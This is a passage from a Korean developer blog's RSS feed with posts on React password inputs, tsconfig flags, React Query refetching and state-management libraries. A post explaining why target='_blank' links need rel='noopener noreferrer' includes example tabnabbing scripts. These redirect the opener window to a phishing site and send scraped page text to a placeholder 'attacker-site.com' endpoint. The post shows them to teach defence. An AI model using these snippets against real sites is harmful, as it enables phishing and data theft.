			onFocus={() =&amp;gt; inputRef.current?.focus()} // 클릭 시 실제 입력 필드로 포커스 이동
		/&amp;gt;
		{/* 가짜 커서를 표시하기 위한 div */}
		{password.length === index &amp;amp;&amp;amp; &amp;lt;div className=&quot;cursor&quot; /&amp;gt;}
	&amp;lt;/div&amp;gt;
)}
{/* 실제로 입력을 받는 숨겨진 input */}
&amp;lt;input
	type=&quot;password&quot;
	autoComplete=&quot;current-password&quot; 
	inputMode=&quot;numeric&quot;
	maxLength={4}
	value={password}
	onChange={handleChange}
	onKeyDown={handleKeyDown}
	ref={inputRef}
	style={{ opacity: 0 }}
/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커서가 생기지 않아 커서처럼 보이는 div를 따로 만들어 주었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하니 브라우저가 비밀번호로 인식을 하기 시작했다!!&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wow!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/Problem&amp;amp;Solution</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/89</guid>
      <comments>https://developerhia.tistory.com/89#entry89comment</comments>
      <pubDate>Thu, 12 Sep 2024 13:35:46 +0900</pubDate>
    </item>
    <item>
      <title>tsconfig에서 allowSyntheticDefaultImports flug</title>
      <link>https://developerhia.tistory.com/88</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;react에서 json 파일을 import 해오는데 다음과 같은 에러가 났다.&lt;/p&gt;
&lt;pre id=&quot;code_1722906074705&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Module '&quot;/Users/heesun/Documents/salin/linker/linker-front-sender/src/pages/Main/briefer_intro&quot;' can only be default-imported using the 'allowSyntheticDefaultImports' flagts(1259)
briefer_intro.json(1, 1): This module is declared with 'export =', and can only be used with a default import when using the 'allowSyntheticDefaultImports' flag.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이미 tsconfig.node.json파일에 ES모듈과 CommonJS 모듈을 호환해주는 &lt;i&gt;&lt;b&gt;allowSyntheticDefaultImports: true&amp;nbsp;&lt;/b&gt;&lt;/i&gt;로 되어있었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;allowSyntheticDefaultImports&lt;/b&gt;&lt;/i&gt;은 typescript 컴파일러 옵션 중 하나로, TypeScript가 **ES 모듈과 CommonJS 모듈을 호환하도록 도와주는 옵션이다. 이 옵션을 사용하면 CommonJS 모듈을 마치 ES6 모듈처럼 기본 import로 가져올 수 있다. (원래 CommonJS 모듈은 다른 모듈을 가져올 때 require 함수를 사용).&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 일반적으로 CommonJS는 Node.js환경에서 사용하고 ES모듈은 브라우저와 Node.js모두 사용 가능하기에 import 구문을 사용하려는 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tsconfig.node.json에도 있지만 tsconfig.app.json에도 해당 플러그를 넣어야 하는 이유는 일단 둘이 include하고 있는 디렉토리가 다르고 (tsconfig.node.json은 [vite.config.ts], tsconfig.app.json은 [&quot;src&quot;, &quot;src/**/*.json&quot;]) tsconfig.app.json은 애플리케이션에서 JSON 파일이나 CommonJS 모듈을 import 구문으로 가져올 때 필요하며, tsconfig.node.json은 빌드 도구 설정 파일이나 기타 Node.js 관련 코드에서 JSON 파일이나 CommonJS 모듈을 import 구문으로 가져올 때 필요하다!&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/Typescript</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/88</guid>
      <comments>https://developerhia.tistory.com/88#entry88comment</comments>
      <pubDate>Tue, 6 Aug 2024 10:23:41 +0900</pubDate>
    </item>
    <item>
      <title>a 태그 target=&amp;quot;_blank&amp;quot; 와 rel=&amp;quot;noopener noreferrer&amp;quot;</title>
      <link>https://developerhia.tistory.com/87</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;target_blank를 두면 연결된 링크가 새로운 탭으로 열리게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서의 문제점이 바로 &lt;u&gt;&lt;i&gt;&lt;b&gt;보안 취약점&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;이 발생할 수 있다는 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 창이 열리면, 새 창은 원본 창에 대한 참조(window.opener)를 가지게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;target=&quot;_blank&quot;를 사용하여 링크를 클릭해 새로운 탭이나 창을 열 때, 새로 열린 창이나 탭은 원본 창의 window.opener 객체에 접근할 수 있습니다. 이를 통해 악성 코드가 포함된 페이지는 원본 창을 조작할 수 있다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &lt;b&gt;rel=&quot;noopener&amp;nbsp;noreferrer&quot;&lt;/b&gt;를 추가하면 이 보안 취약점을 보완할 수 있게 된다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;noopener&lt;/b&gt;: 새 탭이&lt;b&gt; window.opener 속성에 액세스하는 것을 방지&lt;/b&gt;하여 &lt;b&gt;새 창을 원본 창과 효과적으로 분리할 수 있게 된다!!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;noreferrer&lt;/b&gt;: 이 속성은 noopener 동작을 포함할 뿐만 아니라 &lt;b&gt;리퍼러 정보가 새 탭으로 전송되지 않도록 보장&lt;/b&gt;합니다. 이는 원본 페이지의 URL이 링크된 페이지에 공개되지 않도록 하는&lt;b&gt; 개인정보 보호 이유로 유용&lt;/b&gt;할 수 있다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 취약점 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 악성 페이지는 원본 창의 URL을 변경하여 사용자가 의도하지 않은 피싱 사이트로 이동하게 할 수 있습니다. 사용자는 여전히 신뢰할 수 있는 사이트에 있다고 생각하지만, 사실은 가짜 사이트에 민감한 정보를 입력하게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1722479390776&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 악성 페이지의 스크립트 예시 --&amp;gt;
&amp;lt;script&amp;gt;
  if (window.opener) {
    // 원본 창의 URL을 피싱 사이트로 변경
    window.opener.location = 'https://phishing-site.com';
  }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 새로운 창이 원본 창의 window.opener 객체에 접근할 수 있기 때문에, 원본 창의 일부 정보가 노출될 수 있습니다. 이는 개인 정보나 민감한 데이터를 포함할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1722479439152&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 악성 페이지의 스크립트 예시 --&amp;gt;
&amp;lt;script&amp;gt;
  if (window.opener) {
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
  }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;근데 일반적으로 사용자가 새 창을 열 때 원본 창과 새 창을 동시에 보는거면 데이터 접근이 당연하게 가능한 거 아닌가????&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 취약점은 단순히 데이터를 보는 것과는 다르다고 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722484511373&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 새 창의 악성 코드 --&amp;gt;
&amp;lt;script&amp;gt;
  if (window.opener) {
    // 원본 창의 특정 요소에서 정보 추출
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
    // 유출된 정보를 공격자의 서버로 전송
    fetch('https://attacker-site.com/collect', {
      method: 'POST',
      body: JSON.stringify({ info: userInfo }),
      headers: {
        'Content-Type': 'application/json'
      }
    });
  }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/87</guid>
      <comments>https://developerhia.tistory.com/87#entry87comment</comments>
      <pubDate>Thu, 1 Aug 2024 12:55:14 +0900</pubDate>
    </item>
    <item>
      <title>불필요한 상태 삭제하기 + enabled</title>
      <link>https://developerhia.tistory.com/85</link>
      <description>&lt;pre id=&quot;code_1722011845951&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export const useGetProjectVerify = ({ projectId, password }: ReqGetProjectVerify) =&amp;gt; {
	return useQuery({
		queryKey: [VERIFY, projectId, password],
		queryFn: () =&amp;gt; getProjectVerify({ projectId, password }),
		enabled: !!password,
	});
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722010183439&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { useEffect, ChangeEvent, Dispatch, SetStateAction, useState } from 'react';
import { IoLockClosedOutline } from 'react-icons/io5';
import { useGetProjectVerify } from '@hooks/query/useGetProjectVerify';
import { modalContentType, useModalStore } from '@stores/modalStore';

interface ChatbotPasswordProps {
	setIsOpenVerifyPage: Dispatch&amp;lt;SetStateAction&amp;lt;boolean&amp;gt;&amp;gt;;
}

export default function ChatbotPassword({ setIsOpenVerifyPage }: ChatbotPasswordProps) {
	const [password, setPassword] = useState('');
	const [verifyPassword, setVerifyPassword] = useState('');
	const { setModalState } = useModalStore();

	const { data, isLoading, isError } = useGetProjectVerify({
		projectId: import.meta.env.VITE_ASSISTANT_LICENSE_KEY,
		password: verifyPassword,
	});

	const handleChange = (event: ChangeEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
		setPassword(event.target.value);
	};

	const handleSubmit = () =&amp;gt; {
		setVerifyPassword(password);
	};

	useEffect(() =&amp;gt; {
		if (verifyPassword &amp;amp;&amp;amp; !isLoading) {
			if (data?.data.isCorrectPassword) {
				setIsOpenVerifyPage(false);
			} else if (data &amp;amp;&amp;amp; !data?.data.isCorrectPassword) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			} else if (isError) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			}
		}
	}, [verifyPassword, data, isLoading, isError]);

	const isSubmitDisabled = password.length === 0;

	return (
		&amp;lt;section className=&quot;password&quot;&amp;gt;
			&amp;lt;h2 className=&quot;password__title&quot;&amp;gt;Enter password&amp;lt;/h2&amp;gt;
			&amp;lt;IoLockClosedOutline className=&quot;password__icon&quot; /&amp;gt;
			&amp;lt;div className=&quot;password__input-container&quot;&amp;gt;
				&amp;lt;input type=&quot;password&quot; value={password} onChange={handleChange} className=&quot;password__input&quot; /&amp;gt;
			&amp;lt;/div&amp;gt;
			&amp;lt;button className=&quot;password__submit&quot; onClick={handleSubmit} disabled={isSubmitDisabled}&amp;gt;
				Submit
			&amp;lt;/button&amp;gt;
		&amp;lt;/section&amp;gt;
	);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hook에 key가 password가 있기에 하단에서 verifyPassword가 없으면&lt;span&gt;&amp;nbsp;&lt;/span&gt;password가 변경될 때 마다 hook이 실행되어 불필요하게 네트워크를 요청하고 있었다. 따라서 onChange는 password를 바라보게 하고 submit 버튼을 누를 때는 password를 verifyPassword에 저장되게했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 누가봐도... 불필요하게 state가 두 개 있는 느낌,,,&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722012008428&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export const useGetProjectVerify = ({ projectId, password }: ReqGetProjectVerify) =&amp;gt; {
	return useQuery({
		queryKey: [VERIFY, projectId, password],
		queryFn: () =&amp;gt; getProjectVerify({ projectId, password }),
		enabled: false, // 자동 실행을 비활성화
		retry: false, // 실패 시 재시도 방지
	});
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 hook을 이렇게 방지하여 enabled를 아예 false로 변경해 자동 실행을 비활성화 해주었고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실패 시 바로 에러 모달창을 띄워주기 위해 retry도 false로 변경해주었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722012087415&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { useEffect, ChangeEvent, Dispatch, SetStateAction, useState } from 'react';
import { IoLockClosedOutline } from 'react-icons/io5';
import { useGetProjectVerify } from '@hooks/query/useGetProjectVerify';
import { modalContentType, useModalStore } from '@stores/modalStore';

interface ChatbotPasswordProps {
	setIsOpenVerifyPage: Dispatch&amp;lt;SetStateAction&amp;lt;boolean&amp;gt;&amp;gt;;
}

export default function ChatbotPassword({ setIsOpenVerifyPage }: ChatbotPasswordProps) {
	const [password, setPassword] = useState('');
	const { setModalState } = useModalStore();

	const { data, isLoading, error, isError, refetch } = useGetProjectVerify({
		projectId: import.meta.env.VITE_ASSISTANT_LICENSE_KEY,
		password: password,
	});

	const handleChange = (event: ChangeEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
		setPassword(event.target.value);
	};

	const handleSubmit = () =&amp;gt; {
		refetch(); // 비밀번호 검증 쿼리를 실행
	};

	useEffect(() =&amp;gt; {
		if (!isLoading &amp;amp;&amp;amp; data) {
			if (data.data.isCorrectPassword) {
				setIsOpenVerifyPage(false);
			} else if (data &amp;amp;&amp;amp; !data.data.isCorrectPassword) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			}
		}
	}, [data, isLoading, setIsOpenVerifyPage, setModalState]);

	useEffect(() =&amp;gt; {
		if (isError || error) {
			setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
		}
	}, [isError, error]);

	const isSubmitDisabled = password.length === 0;

	return (
		&amp;lt;section className=&quot;password&quot;&amp;gt;
			&amp;lt;h2 className=&quot;password__title&quot;&amp;gt;Enter password&amp;lt;/h2&amp;gt;
			&amp;lt;IoLockClosedOutline className=&quot;password__icon&quot; /&amp;gt;
			&amp;lt;div className=&quot;password__input-container&quot;&amp;gt;
				&amp;lt;input type=&quot;password&quot; value={password} onChange={handleChange} className=&quot;password__input&quot; /&amp;gt;
			&amp;lt;/div&amp;gt;
			&amp;lt;button className=&quot;password__submit&quot; onClick={handleSubmit} disabled={isSubmitDisabled}&amp;gt;
				Submit
			&amp;lt;/button&amp;gt;
		&amp;lt;/section&amp;gt;
	);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후에 이렇게 변경!&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/Problem&amp;amp;Solution</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/85</guid>
      <comments>https://developerhia.tistory.com/85#entry85comment</comments>
      <pubDate>Sat, 27 Jul 2024 01:41:47 +0900</pubDate>
    </item>
    <item>
      <title>로컬state를 만들어 서버 부하 줄이기</title>
      <link>https://developerhia.tistory.com/84</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;챗봇을 개발하면서 assistant api를 사용했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노출되는 api-key로 인해 프록시 서버를 만들어 openai 의 api를 사용했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에는 질문을 던지고 대답을 받으면 다시 메시지리스트를 refetch하여 사용했는데 그럼 메시지 답변을 주고 받을 때마다 refetch가 일어나 성능상 좋지 못할 것 같았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 useEffect로 localMessageList를 만들어 저장한 뒤 챗봇 탭이 (gpt로 치면 채팅방) 변경될 때에만 refetch 로 메시지 리스트를 가져오게 변경했다. 따라서 탭이 변경되지 않는다면 서버 부하가 훨~씬 줄어들게 된다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1721224085988&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	useEffect(() =&amp;gt; {
		if (!isAnswerLoading &amp;amp;&amp;amp; streamingAnswer) {
			const userMessage: LocalMessagesListDataType = {
				id: String(Math.random()),
				created_at: Math.floor(Date.now() / 1000),
				role: 'user',
				content: [{ text: { value: query } }],
				attachments: [],
			};
			const assistantMessage: LocalMessagesListDataType = {
				id: String(Math.random()),
				created_at: Math.floor(Date.now() / 1000),
				role: 'assistant',
				content: [{ text: { value: streamingAnswer } }],
				attachments: [{ file_id: streamingFileId }],
			};
			setLocalMessageList(prev =&amp;gt; [...prev, userMessage, assistantMessage]);
			clearStreamingAnswer();
			clearQuery();
		}
	}, [isAnswerLoading, streamingAnswer, streamingFileId, clearStreamingAnswer, query, setQuery]);&lt;/code&gt;&lt;/pre&gt;</description>
      <category>개발/Problem&amp;amp;Solution</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/84</guid>
      <comments>https://developerhia.tistory.com/84#entry84comment</comments>
      <pubDate>Wed, 17 Jul 2024 22:49:45 +0900</pubDate>
    </item>
    <item>
      <title>상태관리 유형 분류</title>
      <link>https://developerhia.tistory.com/83</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Flux 방식&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Redux, Zustand&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;가 이 유형에 속한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;top-down 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵저버 패턴&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oWkQR/btsIBf0nf7H/FlvsujopbzETBSSRplSh3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oWkQR/btsIBf0nf7H/FlvsujopbzETBSSRplSh3K/img.png&quot; data-alt=&quot;https://haruair.github.io/flux/docs/overview.html&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oWkQR/btsIBf0nf7H/FlvsujopbzETBSSRplSh3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoWkQR%2FbtsIBf0nf7H%2FFlvsujopbzETBSSRplSh3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;281&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://haruair.github.io/flux/docs/overview.html&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;Action이 발생하면, Dispatcher에서 이를 해석한 후 Store에 저장된 정보를 갱신하고, 그 결과가 다시 View로 전달된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;2-proxy-방식&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2. Proxy 방식&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MobX&lt;/b&gt;가 이 유형에 속한다.&lt;br /&gt;이 유형은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;상태를 프록시 객체로 래핑&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;직접 객체를 다루지 않고, 프록시를 통해 작업을 수행&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;객체지향 프로그래밍과 잘 맞다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;물론 함수형 프로그래밍과 함께 사용할 수 있긴 하지만, 이들의 핵심 원칙과 기능은 객체 지향 프로그래밍의 원칙과 더 잘 어울린다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;3-atomic-방식&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3. Atomic 방식&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Recoil, Jotai&lt;/b&gt;가 이 유형에 속한다.&lt;br /&gt;이 유형은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;전체 상태를 원자 (Atom)으로 나누는 것을 추구&lt;/b&gt;한다.&lt;br /&gt;원자는 업데이트 가능하고 구독 가능한 상태의 단위이며, 이들은 서로 다른 부분에서 독립적으로 사용된다.&lt;br /&gt;때문에 상태 관리의 모듈화가 쉽고, 코드의 재사용성이 높아진다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1721026697196&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;우리 팀이 Zustand를 쓰는 이유&quot; data-og-description=&quot;다른 것도 좋은데.&quot; data-og-host=&quot;velog.io&quot; data-og-source-url=&quot;https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0&quot; data-og-url=&quot;https://velog.io/@greencloud/우리-팀이-Zustand를-쓰는-이유&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/lgVcZ/hyWzseKNRY/ds3ZiDcz8TXXbAe6c3lHZK/img.jpg?width=1248&amp;amp;height=714&amp;amp;face=0_0_1248_714,https://scrap.kakaocdn.net/dn/b3SQio/hyWzCn6War/NJZak7PcnGcLqN0g02foKk/img.jpg?width=1248&amp;amp;height=714&amp;amp;face=0_0_1248_714,https://scrap.kakaocdn.net/dn/bf1qF4/hyWzs6ROJY/Cd72t6ry6Gr6n0F3naavlk/img.png?width=1080&amp;amp;height=1080&amp;amp;face=0_0_1080_1080&quot;&gt;&lt;a href=&quot;https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/lgVcZ/hyWzseKNRY/ds3ZiDcz8TXXbAe6c3lHZK/img.jpg?width=1248&amp;amp;height=714&amp;amp;face=0_0_1248_714,https://scrap.kakaocdn.net/dn/b3SQio/hyWzCn6War/NJZak7PcnGcLqN0g02foKk/img.jpg?width=1248&amp;amp;height=714&amp;amp;face=0_0_1248_714,https://scrap.kakaocdn.net/dn/bf1qF4/hyWzs6ROJY/Cd72t6ry6Gr6n0F3naavlk/img.png?width=1080&amp;amp;height=1080&amp;amp;face=0_0_1080_1080');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
